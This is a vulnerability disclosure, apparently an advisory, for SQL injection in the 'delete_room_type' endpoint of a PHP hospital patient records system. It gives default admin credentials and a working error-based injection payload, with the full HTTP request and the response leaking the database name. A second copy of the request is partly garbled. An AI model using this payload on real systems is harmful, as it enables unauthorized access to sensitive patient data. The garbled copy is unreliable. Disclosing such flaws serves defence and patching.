

## Hospital's Patient Records Management System v1.0 by oretnom23 has SQL injection

The password for the backend login account is: admin/admin123

vendors: https://www.sourcecodester.com/php/15116/hospitals-patient-records-management-system-php-free-source-code.html

Vulnerability File: /hprms/classes/Master.php?f=delete\_room\_type

Vulnerability location: /hprms/classes/Master.php?f=delete\_room\_type, id

Current database name: hprms\_db ,length is 8

[+] Payload: id=2' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak place ---> id

```
POST /hprms/classes/Master.php?f=delete_room_type HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
```

Cookie: PHPSESSID=7g6mvmuq5m1o1cvqrhprll4jr1

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 65

id=2' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+



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User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0)
Gecko/2010010 Firefox/46.0
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text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8
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Cookie: PHPSESSID=7g6mvmuq5mlolcvqrhprll4jrl
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
id=2| and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+

```
HTTP/1.1 200 OK
Date: Fri, 03 Jun 2022 09:04:46 GMT
server: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7
X-POWered-By: PHP/8.0.7
Expires: Thu, 19 Nov 1981 08:52:00 GMT
cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Content-Length: 62
Connection: close
Content-Type: text/html; charset=UTF-8

{"status": "failed", "error": "XPATH syntax error: '~hprms_db~'"}
```